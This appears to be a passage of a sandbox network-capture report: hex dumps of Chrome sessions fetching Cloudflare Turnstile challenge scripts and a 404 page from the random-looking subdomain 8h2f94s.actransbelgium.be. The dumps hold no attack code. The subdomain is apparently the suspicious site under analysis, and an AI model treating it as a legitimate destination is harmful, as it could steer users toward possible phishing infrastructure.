10	192.168.2.16	49729	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:45 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f3fa3fe4ef88c24&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:46 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:46 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117911 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f3fa41789294207-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:46 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 45 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 Data Ascii: E","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","invalid_sitekey":"Invalid%20siteke
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 2c 66 45 2c 66 4f 2c 66 5a 2c 67 33 2c 67 34 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 39 38 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 38 36 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 32 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 33 39 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 39 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 31 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 32 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,fE,fO,fZ,g3,g4,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1498))/1(parseInt(gI(1386))/2)+-parseInt(gI(452))/3+-parseInt(gI(539))/4(-parseInt(gI(599))/5)+parseInt(gI(891))/6*(parseInt(gI(432))/7)+-parseInt(gI
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 67 5a 28 39 39 36 29 5d 5b 67 5a 28 31 30 34 32 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 67 5a 28 31 30 33 39 29 5d 3b 43 2b 2b 29 69 66 28 6f 5b 67 5a 28 34 39 30 29 5d 21 3d 3d 67 5a 28 37 33 36 29 29 28 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 67 5a 28 31 35 31 39 29 5d 28 65 55 2c 67 2c 68 2c 44 29 2c 42 28 45 29 29 3f 28 46 3d 6f 5b 67 5a 28 31 38 31 33 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 67 5a 28 31 38 39 37 29 5d 28 68 5b 44 5d 29 2c 6f 5b 67 5a 28 31 35 33 35 29 5d 3d 3d 3d 69 2b 44 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 67 5a 28 31 39 33 34 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 67 5a 28 31 34 31 31 29 Data Ascii: return G}(x),B='nAsAaAb'.split('A'),B=B[gZ(996)][gZ(1042)](B),C=0;C<x[gZ(1039)];C++)if(o[gZ(490)]!==gZ(736))(D=x[C],E=o[gZ(1519)](eU,g,h,D),B(E))?(F=o[gZ(1813)]('s',E)&&!g[gZ(1897)](h[D]),o[gZ(1535)]===i+D?s(i+D,E):F\|\|o[gZ(1934)](s,i+D,h[D])):s(o[gZ(1411)
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 66 3d 65 4d 5b 68 33 28 31 34 34 37 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 68 33 28 36 33 38 29 5d 28 2b 2b 69 29 29 3b 6b 5b 68 33 28 31 33 36 31 29 5d 28 53 74 72 69 6e 67 5b 68 33 28 36 39 39 29 5d 28 28 28 32 35 35 26 6d 29 2d 6a 2d 68 5b 68 33 28 31 38 34 37 29 5d 28 69 2c 36 35 35 33 35 29 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 68 33 28 35 38 39 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 4a 28 31 32 34 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 35 2c 64 2c 65 2c 66 2c 67 29 7b 68 35 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 35 28 31 33 34 31 29 5d 3d 68 35 28 34 37 39 29 2c 64 5b 68 35 28 31 32 38 39 29 5d 3d 68 35 28 35 39 30 29 2c 64 5b 68 35 28 39 32 39 29 5d 3d 66 75 6e 63 74 69 6f 6e Data Ascii: f=eM[h3(1447)](f),k=[],i=-1;!isNaN(m=f[h3(638)](++i));k[h3(1361)](String[h3(699)](((255&m)-j-h[h3(1847)](i,65535)+65535)%255)));return k[h3(589)]('')},eM[gJ(1245)]=function(h5,d,e,f,g){h5=gJ,d={},d[h5(1341)]=h5(479),d[h5(1289)]=h5(590),d[h5(929)]=function
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 31 35 32 32 29 5d 2c 73 3d 7b 7d 2c 73 5b 68 37 28 31 33 35 34 29 5d 3d 65 4d 5b 68 37 28 31 37 30 36 29 5d 5b 68 37 28 31 33 35 34 29 5d 2c 73 5b 68 37 28 39 31 35 29 5d 3d 65 4d 5b 68 37 28 31 37 30 36 29 5d 5b 68 37 28 39 31 35 29 5d 2c 73 5b 68 37 28 37 35 36 29 5d 3d 65 4d 5b 68 37 28 31 37 30 36 29 5d 5b 68 37 28 37 35 36 29 5d 2c 73 5b 68 37 28 31 33 32 37 29 5d 3d 65 4d 5b 68 37 28 31 37 30 36 29 5d 5b 68 37 28 38 38 31 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 68 37 28 31 38 39 31 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 3d 6b 5b 68 37 28 31 35 31 35 29 5d 2c 42 5b 68 37 28 31 30 33 31 29 5d 28 43 2c 6f 2c 21 21 5b 5d 29 2c 42 5b 68 37 28 31 38 33 39 29 5d 3d 35 65 33 2c 42 5b 68 37 28 31 33 35 35 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: 1522)],s={},s[h7(1354)]=eM[h7(1706)][h7(1354)],s[h7(915)]=eM[h7(1706)][h7(915)],s[h7(756)]=eM[h7(1706)][h7(756)],s[h7(1327)]=eM[h7(1706)][h7(881)],x=s,B=new eM[(h7(1891))](),!B)return;C=k[h7(1515)],B[h7(1031)](C,o,!![]),B[h7(1839)]=5e3,B[h7(1355)]=functio
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 6f 7d 2c 27 75 45 63 53 42 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 45 49 78 67 58 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 4f 4c 50 75 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 7a 65 70 53 75 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 5e 6e 7d 2c 27 6c 61 4d 4b 57 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 26 6e 7d 2c 27 65 52 6d 55 53 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 26 6f 7d 2c 27 4f 6e 48 72 64 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 Data Ascii: o},'uEcSB':function(n,o,s){return n(o,s)},'EIxgX':function(n,o,s){return n(o,s)},'OLPux':function(n,o,s){return n(o,s)},'zepSu':function(n,o){return o^n},'laMKW':function(n,o){return o&n},'eRmUS':function(n,o){return n&o},'OnHrd':function(n,o,s){return n(
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 78 2c 78 3d 69 5b 68 61 28 31 31 30 38 29 5d 28 63 79 2c 76 2c 45 29 2c 76 3d 73 2c 73 3d 6f 2c 6f 3d 63 7a 2c 63 42 28 45 2c 46 29 29 7d 62 77 5b 30 5d 3d 62 78 28 62 79 2c 62 7a 5b 30 5d 29 2c 62 41 5b 31 5d 3d 62 42 28 6f 2c 62 43 5b 31 5d 29 2c 62 44 5b 32 5d 3d 62 45 28 73 2c 62 46 5b 32 5d 29 2c 62 47 5b 33 5d 3d 62 48 28 76 2c 62 49 5b 33 5d 29 2c 62 4a 5b 34 5d 3d 69 5b 68 61 28 31 33 32 31 29 5d 28 62 4b 2c 78 2c 62 4c 5b 34 5d 29 2c 62 4d 5b 35 5d 3d 62 4e 28 42 2c 62 4f 5b 35 5d 29 2c 62 50 5b 36 5d 3d 62 51 28 43 2c 62 52 5b 36 5d 29 2c 62 53 5b 37 5d 3d 62 54 28 44 2c 62 55 5b 37 5d 29 7d 65 6c 73 65 20 65 4d 5b 68 61 28 31 33 35 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 62 29 7b 68 62 3d 68 61 2c 65 4d 5b 68 62 28 31 32 34 35 29 5d 28 29 7d Data Ascii: x,x=i[ha(1108)](cy,v,E),v=s,s=o,o=cz,cB(E,F))}bw[0]=bx(by,bz[0]),bA[1]=bB(o,bC[1]),bD[2]=bE(s,bF[2]),bG[3]=bH(v,bI[3]),bJ[4]=i[ha(1321)](bK,x,bL[4]),bM[5]=bN(B,bO[5]),bP[6]=bQ(C,bR[6]),bS[7]=bT(D,bU[7])}else eM[ha(1353)](function(hb){hb=ha,eM[hb(1245)]()}
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 3d 3d 66 7d 2c 27 68 73 63 6f 79 27 3a 68 56 28 38 30 36 29 2c 27 65 6f 69 63 44 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 66 7d 2c 27 54 52 4a 73 70 27 3a 68 56 28 31 32 39 34 29 2c 27 76 61 4c 51 44 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 66 7d 7d 2c 65 3d 63 5b 68 56 28 31 30 33 33 29 5d 2c 65 26 26 65 5b 68 56 28 31 37 36 31 29 5d 3d 3d 3d 68 56 28 38 30 36 29 26 26 65 5b 68 56 28 35 34 38 29 5d 3d 3d 3d 68 56 28 31 33 38 34 29 29 3f 66 43 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 68 57 2c 66 2c 68 29 7b 69 66 28 68 57 3d 68 56 2c 66 3d 7b 27 77 4c 4b 73 64 27 3a 68 57 28 34 37 39 29 2c 27 67 41 69 66 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 58 Data Ascii: ==f},'hscoy':hV(806),'eoicD':function(f,g){return g===f},'TRJsp':hV(1294),'vaLQD':function(f,g){return g===f}},e=c[hV(1033)],e&&e[hV(1761)]===hV(806)&&e[hV(548)]===hV(1384))?fC=setInterval(function(hW,f,h){if(hW=hV,f={'wLKsd':hW(479),'gAifk':function(g,hX
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 7d 7d 2c 64 3d 65 4d 5b 69 78 28 31 37 30 36 29 5d 5b 69 78 28 36 36 35 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 69 78 28 34 34 35 29 5d 28 67 30 29 2c 21 65 4d 5b 69 78 28 39 39 30 29 5d 26 26 21 66 46 28 29 26 26 21 65 4d 5b 69 78 28 31 33 39 33 29 5d 5b 69 78 28 37 32 39 29 5d 26 26 65 2d 66 5a 3e 64 29 3f 66 6c 28 29 3a 63 5b 69 78 28 39 37 30 29 5d 28 69 78 28 35 31 33 29 2c 63 5b 69 78 28 31 36 34 34 29 5d 29 3f 28 67 3d 6d 5b 69 78 28 31 32 39 33 29 5d 2c 67 29 26 26 28 46 5b 69 78 28 31 37 38 37 29 5d 3d 3d 3d 69 78 28 37 35 35 29 26 26 67 5b 69 78 28 31 34 37 31 29 5d 2b 2b 2c 47 5b 69 78 28 31 37 38 37 29 5d 3d 3d 3d 69 78 28 37 36 39 29 26 26 67 5b 69 78 28 36 31 32 29 5d 2b 2b 2c 48 5b 69 78 28 31 37 38 37 29 5d 3d 3d 3d 69 78 28 31 30 31 36 29 26 Data Ascii: }},d=eM[ix(1706)][ix(665)]\|\|1e4,e=c[ix(445)](g0),!eM[ix(990)]&&!fF()&&!eM[ix(1393)][ix(729)]&&e-fZ>d)?fl():c[ix(970)](ix(513),c[ix(1644)])?(g=m[ix(1293)],g)&&(F[ix(1787)]===ix(755)&&g[ix(1471)]++,G[ix(1787)]===ix(769)&&g[ix(612)]++,H[ix(1787)]===ix(1016)&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49730	192.185.158.101	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:45 UTC	606	OUT	GET /favicon.ico HTTP/1.1 Host: 8h2f94s.actransbelgium.be Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:46 UTC	263	IN	HTTP/1.1 404 Not Found Date: Wed, 18 Dec 2024 13:53:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 11:51:03 GMT Accept-Ranges: bytes Content-Length: 11816 Vary: Accept-Encoding Content-Type: text/html
2024-12-18 13:53:46 UTC	7929	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Typ
2024-12-18 13:53:46 UTC	3887	IN	Data Raw: 69 74 65 43 6f 6e 64 20 25 7b 52 45 51 55 45 53 54 5f 46 49 4c 45 4e 41 4d 45 7d 20 21 2d 64 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 52 75 6c 65 20 2e 20 2f 69 6e 64 65 78 2e 70 68 70 20 5b 4c 5d 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 26 6c 74 3b 2f 49 66 4d 6f 64 75 6c 65 26 67 74 3b 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 23 20 45 6e 64 20 57 6f 72 64 50 72 65 73 73 0a 09 09 09 09 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 70 3e 49 66 20 79 6f 75 72 20 62 6c 6f 67 20 69 73 20 73 68 6f 77 69 6e 67 20 74 68 65 20 77 72 6f 6e 67 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 69 6e 20 6c 69 6e 6b 73 2c 20 72 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 61 6e 6f 74 68 65 Data Ascii: iteCond %{REQUEST_FILENAME} !-d<br>RewriteRule . /index.php [L]<br></IfModule><br># End WordPress</p></div><p>If your blog is showing the wrong domain name in links, redirecting to anothe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49731	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:46 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3244 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:46 UTC	3244	OUT	Data Raw: 76 5f 38 66 33 66 61 33 66 65 34 65 66 38 38 63 32 34 3d 57 50 77 46 6b 46 72 46 69 46 48 46 34 46 61 4e 78 79 4e 78 54 59 6f 54 6f 51 35 63 6f 35 78 6f 59 6c 51 7a 6f 69 6c 78 4d 4e 78 6c 7a 4f 78 4a 55 46 7a 4b 43 54 55 4b 6b 58 50 6f 39 78 52 59 72 7a 78 53 72 46 78 71 6a 78 35 36 44 78 63 30 59 78 51 77 58 46 4d 55 78 44 46 72 6b 30 78 34 4e 4b 72 6c 78 67 73 6c 6f 67 4b 62 68 42 58 78 69 67 4f 31 58 58 78 34 70 55 4b 64 47 6a 51 4e 6b 63 6c 41 2d 66 56 73 45 2d 6a 78 4d 77 6f 45 78 78 6b 72 55 70 62 58 55 4e 55 78 71 62 44 78 35 53 61 79 6f 6f 30 73 6f 4d 43 4e 78 72 54 62 70 4e 78 4f 68 46 78 53 78 6b 47 55 54 4a 6c 7a 78 46 6f 61 78 72 62 71 78 43 6c 4f 68 4f 6f 74 67 46 6f 65 4d 4b 78 45 68 47 77 54 61 46 6f 42 42 35 6c 78 54 48 6a 63 46 72 6c 78 Data Ascii: v_8f3fa3fe4ef88c24=WPwFkFrFiFHF4FaNxyNxTYoToQ5co5xoYlQzoilxMNxlzOxJUFzKCTUKkXPo9xRYrzxSrFxqjx56Dxc0YxQwXFMUxDFrk0x4NKrlxgslogKbhBXxigO1XXx4pUKdGjQNkclA-fVsE-jxMwoExxkrUpbXUNUxqbDx5Sayoo0soMCNxrTbpNxOhFxSxkGUTJlzxFoaxrbqxClOhOotgFoeMKxEhGwTaFoBB5lxTHjcFrlx
2024-12-18 13:53:46 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:46 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149664 Connection: close cf-chl-gen: h3ArXVlVe7b/ETYjzYk83KefSaC9y/FkIh0IJo4xh4dKVA9r1fGgFjjbp0OOLbs+uMi1nyV36HLwBYp1TPJu58Pti8CpxRbZfOzBHdwIF/55GdYwamvi/lRMi+J0SJYNBc/K5VG3nWmS/HILh8YffF3AQw1XpJSJ0yhLBHirO2Xug8hp8cnD4y+skct26KiIdowTM1rGv304JUSzNhsMV+GBEUH42UHG4Yi24mTibKyFClpOgMSH51KBtyxZfPg1VoZOHdgEOOVw++t1DLVeAoMZnZaHYf2KFSNhNTKstAhlhz8cGLn/PicCjAfZyVkayHexPT2ud6PfucAOhAxN/HouMTXRlQtdsH69Bj8rWjbRzo6GV/gbfAmrY7uuYwf/nM1FwWIqkBKLCRxTFSfh1LsiRhTCima9OeyWkHxmX33HeV/o4qIwGDWgCD0h2SUGftjbmDmBlo7UAPClUj0ikjy25sADF74kOMrjvJ3y2sVcGas=$WeN50MjDWfA/m9qG Server: cloudflare CF-RAY: 8f3fa4194d4e1a17-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:46 UTC	622	IN	Data Raw: 69 49 36 63 6a 49 43 45 6e 5a 66 48 77 38 65 6f 67 6f 32 73 79 73 48 48 77 71 44 41 6b 4c 36 74 78 73 61 71 7a 72 4f 36 70 39 71 33 72 4f 48 52 32 72 53 30 34 4d 6e 57 36 4d 47 34 36 71 33 6c 71 73 7a 41 37 39 58 69 38 4e 50 4d 77 76 53 31 30 4f 62 74 38 72 62 4d 33 72 7a 61 33 39 58 31 33 50 49 43 2f 74 62 57 7a 66 37 6c 41 51 33 4d 34 68 59 46 42 65 76 6b 36 4e 66 39 39 52 58 74 39 42 4c 5a 38 66 67 58 45 53 6e 78 47 77 73 5a 2b 69 2f 38 35 68 49 66 4d 66 77 43 4a 69 45 43 38 54 73 4a 50 52 34 72 2b 55 41 57 4d 78 38 30 47 6a 63 62 51 67 49 63 42 79 67 70 41 43 39 44 53 6a 41 30 51 79 55 33 44 79 67 75 57 68 55 6c 46 31 34 38 4d 55 70 58 4f 42 31 50 52 54 42 70 50 79 52 57 4a 30 31 6a 50 53 6c 72 58 30 52 76 5a 55 31 6b 59 7a 51 79 53 48 73 34 56 44 57 Data Ascii: iI6cjICEnZfHw8eogo2sysHHwqDAkL6txsaqzrO6p9q3rOHR2rS04MnW6MG46q3lqszA79Xi8NPMwvS10Obt8rbM3rza39X13PIC/tbWzf7lAQ3M4hYFBevk6Nf99RXt9BLZ8fgXESnxGwsZ+i/85hIfMfwCJiEC8TsJPR4r+UAWMx80GjcbQgIcBygpAC9DSjA0QyU3DyguWhUlF148MUpXOB1PRTBpPyRWJ01jPSlrX0RvZU1kYzQySHs4VDW
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 46 65 68 49 4e 76 6d 4a 53 51 61 6f 68 2f 64 35 4b 68 64 36 52 73 6c 48 4b 59 69 4b 4a 39 64 48 53 57 67 70 64 2b 71 70 2b 78 67 72 4a 79 61 61 65 77 6c 61 75 34 76 4b 75 54 72 62 61 63 6d 35 75 59 6f 35 75 66 75 62 71 56 70 4a 37 4e 6f 35 2b 4e 78 4b 65 47 31 74 47 75 32 4b 4f 35 72 35 61 72 73 62 6a 50 31 63 7a 55 76 64 7a 51 7a 39 66 66 77 74 76 64 7a 74 32 6d 34 39 37 62 33 38 6a 77 74 63 79 78 35 2b 4f 35 7a 4f 66 61 74 72 71 7a 37 4c 7a 74 30 66 66 45 38 74 6a 55 34 74 2f 6a 35 50 6a 50 33 76 44 4c 34 4e 50 7a 43 2b 44 6a 37 67 76 6d 36 76 6a 2b 2f 76 50 67 39 77 51 65 45 50 4d 4b 49 68 54 33 47 43 59 59 2b 79 51 71 48 41 41 73 4c 69 41 44 4e 44 49 6b 42 2f 51 32 4b 41 76 38 4f 69 77 50 42 54 34 77 46 42 4a 43 4e 42 67 61 52 6a 67 64 4a 6b 63 65 49 Data Ascii: FehINvmJSQaoh/d5Khd6RslHKYiKJ9dHSWgpd+qp+xgrJyaaewlau4vKuTrbacm5uYo5ufubqVpJ7No5+NxKeG1tGu2KO5r5arsbjP1czUvdzQz9ffwtvdzt2m497b38jwtcyx5+O5zOfatrqz7Lzt0ffE8tjU4t/j5PjP3vDL4NPzC+Dj7gvm6vj+/vPg9wQeEPMKIhT3GCYY+yQqHAAsLiADNDIkB/Q2KAv8OiwPBT4wFBJCNBgaRjgdJkceI
